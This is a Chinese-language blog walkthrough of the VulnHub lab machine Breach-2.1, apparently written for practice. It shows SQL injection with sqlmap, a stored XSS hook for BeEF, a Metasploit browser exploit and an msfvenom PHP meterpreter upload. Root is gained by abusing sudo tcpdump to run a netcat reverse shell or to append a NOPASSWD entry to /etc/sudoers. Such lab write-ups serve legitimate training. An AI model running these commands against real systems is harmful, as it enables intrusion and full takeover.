IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> (VulnHub靶机通关)breach系列:breach-2.1细节通关方法 -> 正文阅读

[PHP知识库](VulnHub靶机通关)breach系列:breach-2.1细节通关方法

靶机下载地址:https://download.vulnhub.com/breach/Breach-2_final2.1.zip

需要配置仅主机模式

主机发现

靶机IP:192.168.110.151

kali:192.168.110.128

扫描端口

这里需要使用全端口扫描,默认扫描只能扫常用端口和一些nmap内置的扫描端口

全端口扫描通过-p参数指定所有端口1-65535,也可使用-p-

nmap -p- -A 192.168.110.151?

开放了三个端口,65535端口是ssh服务?

攻击ssh使80端口开放

ssh连接,?提示说peter的密码在source中,其实就是字面意思,密码是inthesource

而且这里的peter是全小写

用户名:peter? 密码:inthesource?

连接失败,密码应该是对的,只是故意不给连接?

再次扫端口,竟然跑出来了个80端口的http服务,就是ssh连接peter用户成功才开放的

这作者的脑子真是我擦嘞

web渗透?

访问网站

查看源码,又是两句看不懂的废话,真是说话自带加密算法

?

扫目录,发现blog?

?

是一个博客, 在搜索框输入测试语句1' or 1=1#,发现存在sql注入,用sqlmap跑下看看

?成功跑出来了,爆库blog

?

最后只找到个类似有用的用户密码

?sqlmap -u "http://192.168.110.151/blog/index.php?search=" -D "oscommerce" -T "osc_administrators" --dump?

md5解密:https://www.cmd5.com/?

用户名:admin? ?密码:admin

尝试ssh和blog网站登录都失败,只能另寻他法

经过测试,这个网站没有对用户输入进行任何过滤

搜索框存在反射型XSS、注册页面存在存储型XSS

?

由于注册时没有对输入的用户名进行防护,导致将构造的XSS语句存入了数据库,查看个人信息将会触发用户名的XSS语句?

?<script>alert("imz")</script>

用户名插入一句XSS,密码和邮箱随便填,点击注册?

?

注册成功之后点击Members可触发XSS?

?

?

这里可利用存储型xss获取webshell?

?XSS拿shell

结合网站首页图片的提示,可用beef框架进行攻击,beef是一个专门利用xss进行攻击的框架,集成了许多xss攻击的模块,反正就是很牛逼

利用kali安装beef即可

开启beef-xss

使用kali的浏览器访问http://127.0.0.1:3000/ui/panel

将下面的xss语句插入到注册用户的username中,密码邮箱随意,点击注册,然后再访问Members触发xss

<script src="http://<kali的IP地址>:3000/hook.js"></script>

?

等等触发xss,beef成功连接上,

这里需要等一段时间,因为靶机会自己去触发这个xss漏洞,只能等,而且不能注入有弹窗xss,不然靶机会触发xss失败,导致beef无法连上靶机

采用msf的浏览器攻击模块获取会话,因为靶机用的是火狐浏览器,所以选用火狐模块攻击

exploit/multi/browser/firefox_proto_crmfrequest

打开msf,用search命令搜索

选用模块,设置参数,执行

生成一个链接,靶机访问就会攻击浏览器然后建立一个会话?

通过beef的Redirect Browser(重定向)访问生成的链接

?

??

?成功建立会话

?sessions查看是否有会话,没有则继续等继续刷新,并将会话迁移到meterpreter便于后续操作

?

?选meterpreter会话,当前用户正是peter,因为刚刚peter连接ssh时被踢出来了,所以先看看ssh的配置文件,

?

可以看到,登录peter就执行一个startme程序,查看源码,就是开启apache服务,?所以登录成功peter才开放80端口,而之所以登录成功就被踢出来,则是因为ssh连接peter用户只执行了startme程序就断开连接,那么就想办法使ssh连接peter时调用一个sh命令行

?ForceCommand
? ? ? ? ? ? 强制执行这里指定的命令而忽略客户端提供的任何命令。这个命令将使用用户的登录shell执行(shell -c)。
? ? ? ? ? ? 这可以应用于 shell 、命令、子系统的完成,通常用于 Match 块中。
? ? ? ? ? ? 这个命令最初是在客户端通过 SSH_ORIGINAL_COMMAND 环境变量来支持的。 ? ??

?用户主目录下有个隐藏文件.bashrc,每次执行bash时都会加载,也可以这样理解,当登录peter用户时就会去加载peter主目录下的.bashrc,因为当前用户是peter,所以对peter主目录下的文件拥有可写权限,只要在.bashrc文件下写入exec sh,那么就能在ssh连接peter用户时就会执行exec sh命令,从而调用一个命令行

?.bashrc?

为了加载你的配置,bash 在每次启动时都会加载?.bashrc?文件的内容。每个用户的 home 目录都有这个 shell 脚本。它用来存储并加载你的终端配置和环境变量

再次使用ssh连接peter用户成功

?提权

?信息收集

sudo -l??
history??查看历史记录
uname -a 查看内核版本
ps -anx | grep root查看进程
ps -ef
crontab -l?计划任务
ls -la 查看隐藏文件及权限
find / -perm -u=s -type f 2>/dev/null 查看suid
find / -perm -g=s -type f 2>/dev/null 查看guid
netstat -tunlpa 查看端口开放状态
cat /etc/passwd

除了peter还有两个用户milton、blumbergh?

?

有个陌生的2323端口正处于监听状态,使用telnet连接下

?

是一个坐标,用谷歌地图搜索?

?

?这个坐标刚好是休斯顿(houston)的坐标,以刚刚得到的用户名milton、blumbergh进行登录

ssh爆破、su切换命令都不行,最后才知道要在靶机的登录界面才行,我在想,这在真实案例中,我去目标的机房用console线连接是否可以登录呢,还不如直接一斧头下去给他砸了

账户:milton? ?密码:Houston

登录成功但只有几句提示又被弹出来了,根据有个提示Whose stapler is it?,这句话不可能凭空重新,肯定是某个程序执行产生的,使用grep全局搜索看看是哪个文件打印出来的

grep -r "Whose stapler is it?" / 2>/dev/null

-r 指定关键字

/? 所有目录

2>/dev/null? ?过滤错误信息

查看/usr/local/bin/cd.py文件源码

分析源码,问题答案是mine,如果在三秒内没有回答正确,就会杀死进程,那么再尝试登录并在3秒内输入mine,成功登录

继续收集信息,没有找到提权的方法,不过又找出来一个陌生的8888端口处于监听状态,用telnet再搞一下

?

?提示输入^] 字符逃出

?

看着就像是个http服务啊,用nmap再扫下端口

?

?又多了个服务

?

??

有个oscommerce/目录,前面的sql注入就在这个库里面爆了个用户名密码

admin? ?admin

?

?

密码都有了,肯定是扫后台了,这里后台返回的是302状态码,记得要勾选3xx

成功登录后台,找上传点上传木马

有个文件管理器?

?

?includes目录下有个可写目录work

?

?使用msf生成php木马,直接复制生成的木马源码

msfvenon -p php/meterpreter/reserve_tcp LHOST=192.168.110.128 LPORT=5555 -f raw -o breach2.php

?在work目录下新建文件breach2.php,将木马源码粘贴进去保存

?kali使用msf的exploit模块开启监听

?浏览器访问木马文件,成功反弹blumbergh用户权限

?http://192.168.110.151:8888/oscommerce/includes/work/breach2.php

sudo -l发现可用sudo提权的tcpdump程序

提权方法参考:https://www.cnblogs.com/zlgxzswjy/p/10346043.html

tcptump命令详解参考:https://www.fujieace.com/linux/man/tcpdump-8.html?

kali监听1234端口

靶机执行下面命令

echo 'mknod backpipe p && nc 192.168.110.128 1234 0<backpipe | /bin/bash 1>backpipe' > /tmp/imz.sh && chmod +x /tmp/imz.sh && sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/imz.sh -Z root

成功反弹root权限?

?

或者将blumbergh提升到root并且无密码登录

echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/imz.sh && chmod +x /tmp/imz.sh && chmod +x /tmp/imz.sh && sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/imz.sh -Z root? && sudo -i

总结

权限大的用户不一定可以提升到更高权限 ,权限小的却有可能直接提权到root

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-28 11:40:17  更:2022-01-28 11:41:07 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 15:08:29-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码